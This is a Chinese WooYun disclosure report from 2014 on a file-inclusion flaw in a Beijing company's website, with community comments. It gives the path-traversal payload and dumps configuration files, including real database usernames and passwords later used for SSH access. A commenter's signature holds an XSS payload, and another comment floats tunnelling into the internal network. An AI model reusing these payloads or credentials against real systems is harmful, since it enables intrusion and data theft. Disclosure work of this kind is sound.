当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070909

漏洞标题:前沿同创科技官网文件包含导致获取服务器shell

相关厂商:北京前沿同创科技有限公司

漏洞作者: 蓝冰

提交时间:2014-08-04 11:22

修复时间:2014-09-18 11:24

公开时间:2014-09-18 11:24

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-04: 细节已通知厂商并且等待厂商处理中
2014-08-05: 厂商已经确认,细节仅向厂商公开
2014-08-15: 细节向核心白帽子及相关领域专家公开
2014-08-25: 细节向普通白帽子公开
2014-09-04: 细节向实习白帽子公开
2014-09-18: 细节向公众公开

简要描述:

厂商,能不能求小礼物呢,菜鸟表示还没收到过礼物 不行就算了 -.-
求走大厂商啊....数据库权限不多说了

详细说明:

拿到了数据库的权限可以任意操控数据库,可以登陆SSH服务器
利用的是文件包含漏洞
问题页面:http://www.vasee.com/event/view.jsp?day=2014-08-03&emid=ff80808146acac6f014770b306751ec2&id=ff80808146acac6f014770b305231eb8&sub=
其中sub参数就是包含处
传递sub=index?后页面报错

QQ截图20140804005004.jpg


所以可以猜测 处理代码是
'/event/view_sub/view_'+'sum参数'+'.jsp'
提交sub=1后显示正常,经过证明/event/view_sub/目录下确实有view_1.jsp
所以猜测是正确的
然后就是构造包含了,在包含这里卡了很久发现跨不出 event目录 然后web服务器是tomcat 所以读不了conf下的配置文件.
后来随手一试构造如下参数
suu=/../../../WEB-INF/web.xml?
这样后台接收后sub参数就成了 /event/view_sub/view_/../../../WEB-INF/web.xml?.jsp
?伪截断,这种截断可以用在脚本文件还有.xml .txt .css .js .html 这类文件

<context-param>
<param-name>uploadPath</param-name>
<param-value>/var/www/html/vasee_pics/</param-value>
<!--<param-value>D:\\upload\\</param-value>-->
</context-param>

<context-param>
<param-name>pdfPath</param-name>
<param-value>/user/local/vasee_pdfs/</param-value>
<!--<param-value>d:\\xx\\</param-value>-->
</context-param>
<context-param>
<param-name>exlPath</param-name>
<param-value>/user/local/vasee_exls/</param-value>
<!--<param-value>D:\\upload\\</param-value>-->
</context-param>

<filter>
<filter-name>SetCharacterEncoding</filter-name>
<filter-class>
com.vasee.filters.SetCharacterEncodingFilter
</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
</filter>

<!-- Filters for the display tag functionality -->
<filter>
<filter-name>ResponseOverrideFilter</filter-name>
<filter-class>
org.displaytag.filter.ResponseOverrideFilter
</filter-class>
</filter>
<filter>
<filter-name>hibernatesession</filter-name>
<filter-class>
org.springframework.orm.hibernate3.support.OpenSessionInViewFilter
</filter-class>
</filter>
<filter-mapping>
<filter-name>hibernatesession</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>SetCharacterEncoding</filter-name>
<url-pattern>*.do</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>SetCharacterEncoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>ResponseOverrideFilter</filter-name>
<url-pattern>*.do</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>ResponseOverrideFilter</filter-name>
<url-pattern>*.jsp</url-pattern>
</filter-mapping>
<!--伪静态的过滤 -->
<filter>
<filter-name>UrlRewriteFilter</filter-name>
<filter-class>
org.tuckey.web.filters.urlrewrite.UrlRewriteFilter
</filter-class>
<init-param>
<param-name>confPath</param-name>
<param-value>/WEB-INF/urlrewrite.xml</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>UrlRewriteFilter</filter-name>
<url-pattern>/g/*</url-pattern>
</filter-mapping>
<servlet>
<servlet-name>DrawImageServlet</servlet-name>
<servlet-class>
net.sourceforge.jimagetaglib.servlet.DrawImageServlet
</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DrawImageServlet</servlet-name>
<url-pattern>/jit</url-pattern>
</servlet-mapping>

<!-- Action Servlet Configuration -->
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>
org.apache.struts.action.ActionServlet
</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>2</param-value>
</init-param>
<init-param>
<param-name>validate</param-name>
<param-value>true</param-value>
</init-param>
</servlet>
<!-- Action Servlet Mapping -->
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>
org.springframework.web.context.ContextLoaderListener
</listener-class>
</listener>


看第一行

<context-param>
<param-name>uploadPath</param-name>
<param-value>/var/www/html/vasee_pics/</param-value>
<!--<param-value>D:\\upload\\</param-value>-->
</context-param>


这个目录就是pics.vasee.com域名的目录 用来存放图片的
看到这思路就来了,在官网所有上传处都有漏洞可以上传jsp文件,不过当访问jsp的时候会给你解析成图片这就蛋疼了,不过现在目录有了,这俩域名都是一个服务器IP,然后在用包含漏洞包含jsp就能得到一个shell了 不过上面我说过跨不出event目录,就是从这得出的,
接下来又是一阵看web.xml的内容
挨个试一遍
找到这个文件

<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>


包含过去读出它的内容然后我又幸运的再这个文件找到另一个敏感文件

<bean id="propertyConfigurer"
class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
<property name="locations">
<list>
<value>/WEB-INF/config.properties</value>
</list>
</property>
</bean>


OK 继续读出这个文件内容,惊喜来了!
猜内容是什么?

subDomain.id=1006
hibernate.connection.driver_class org.postgresql.Driver
hibernate.connection.username=postgres
#hibernate.connection.url=jdbc\:postgresql\://127.0.0.1/test
hibernate.connection.url=jdbc\:postgresql\://127.0.0.1/vaseedbstable
#hibernate.connection.url=jdbc\:postgresql\://103.31.201.95/test
#hibernate.connection.password=123456
hibernate.connection.password=e2010ee_yan
#hibernate.connection.password=root
#hibernate.connection.password=voasseeee
#hibernate.connection.password=vpaosseteg
phoneapp.android.version=1.1
phoneapp.iphone.version=1.1
phoneapp.android.update_url=http://down.mumayi.com/94512
phoneapp.iphone.update_url=https://itunes.apple.com/cn/app/vasee/id488543987?mt=8
#font.src.path=c\:/windows/fonts/
font.src.path=/user/local/vasee_pdfs/source/


数据库连接信息! 爽!
不过悲剧又来了,没有开放数据库端口
然后想到连它的SSH端口(记忆中在一个网页看到过postgresql的postgres用户存在于系统帐号)
不知道是不是真的,-.-
然后就连接成功了权限是数据库权限
用户名就是postgres
密码不是数据库密码
hibernate.connection.password=e2010ee_yan
而是这个密码
#hibernate.connection.password=vpaosseteg
可以查看web代码,无权限修改,能任意操作数据库
最后来几张截图 0.0

QQ截图20140804011145.jpg


QQ截图20140804011406.jpg


QQ截图20140804011558.jpg


<jsp:include page="/event/view_sub/view_${sub}.jsp" />
这个就是包含处的代码,表示不懂JSP不明白为什么跨不了目录

漏洞证明:

QQ截图20140804011145.jpg


QQ截图20140804011406.jpg


QQ截图20140804011558.jpg

修复方案:

包含处进行过滤,SSH也设置一下连接IP,文件上传处也过滤一下,把密码改一下,虽然,目前没发现利用点不过以后的事很难说,最后请厂商相信我,我连看都没看数据库就是连接了一下然后截了图退出了.

版权声明:转载请注明来源 蓝冰@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-05 15:39

厂商回复:

此漏洞已修复,谢谢 蓝冰 提出的漏洞

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-04 11:23 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @@! 服务器shell

  2. 2014-08-04 11:40 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    经典啊

  3. 2014-08-04 11:40 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    打雷了

  4. 2014-08-04 11:46 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    确实经典啊

  5. 2014-08-04 11:48 | 蓝冰 ( 核心白帽子 | Rank:627 漏洞数:50 | -.-)

    小弟好激动啊,打雷是啥意思啊

  6. 2014-08-04 11:52 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    打雷就是 精华案例

  7. 2014-08-04 11:55 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    @蓝冰 加精

  8. 2014-08-04 11:57 | 蓝冰 ( 核心白帽子 | Rank:627 漏洞数:50 | -.-)

    嘿嘿,竟然加精了,

  9. 2014-08-04 12:07 | ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为,你不...)

    @蓝冰 就是打雷下礼物了

  10. 2014-08-04 12:58 | Mirror ( 路人 | Rank:19 漏洞数:5 | ->_->)

    膜拜

  11. 2014-08-04 13:10 | loli 认证白帽子 ( 普通白帽子 | Rank:550 漏洞数:52 )

    打雷了,拍这 拍这

  12. 2014-08-04 13:31 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    好屌的样子。

  13. 2014-08-04 13:31 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    新厂一来就是一大波白帽子正在靠近

  14. 2014-08-04 13:38 | 小呆呆 ( 实习白帽子 | Rank:41 漏洞数:7 | 每次有人骂我猪我都说我偶像也是猪)

    打雷了,电死你!

  15. 2014-08-04 13:51 | 蓝冰 ( 核心白帽子 | Rank:627 漏洞数:50 | -.-)

    话说,有自动忽略的预感,

  16. 2014-08-04 13:54 | 白非白 ( 普通白帽子 | Rank:447 漏洞数:60 | ♫ Freedom - Anthony Hamilton ♫)

    @felixk3y 确实经典?

  17. 2014-08-04 14:27 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    似乎有好思路,先收藏了~

  18. 2014-08-04 14:30 | Power ( 实习白帽子 | Rank:54 漏洞数:22 | 还需要等待.........)

    似乎挺好看,mark!

  19. 2014-08-04 15:50 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    打雷了~~~

  20. 2014-08-04 18:33 | 在路上 ( 普通白帽子 | Rank:193 漏洞数:13 | 在学习的路上、在成长的路上...)

    @felixk3y 看到了?

  21. 2014-08-05 23:13 | 蓝冰 ( 核心白帽子 | Rank:627 漏洞数:50 | -.-)

    @北京前沿同创科技有限公司 厂商能不能把剩下的也确认啊 已忽略好难看的说...!-.-

  22. 2014-09-05 20:51 | 进击的zjx ( 普通白帽子 | Rank:295 漏洞数:61 | 工作需要,暂别一段时间)

    先mark

  23. 2014-09-18 13:25 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    不错

  24. 2014-10-04 20:36 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    被雷劈了……楼主你可还好……

  25. 2014-10-04 23:42 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    这样都能连接ssh, 那么连接ssh反弹个socks不知是否可行,这样的话就进内网了。

  26. 2015-01-06 17:13 | covertops ( 普通白帽子 | Rank:112 漏洞数:23 | wooyun)

    @蓝冰 想知道为什么跨不出目录,现在洞主有思路了不?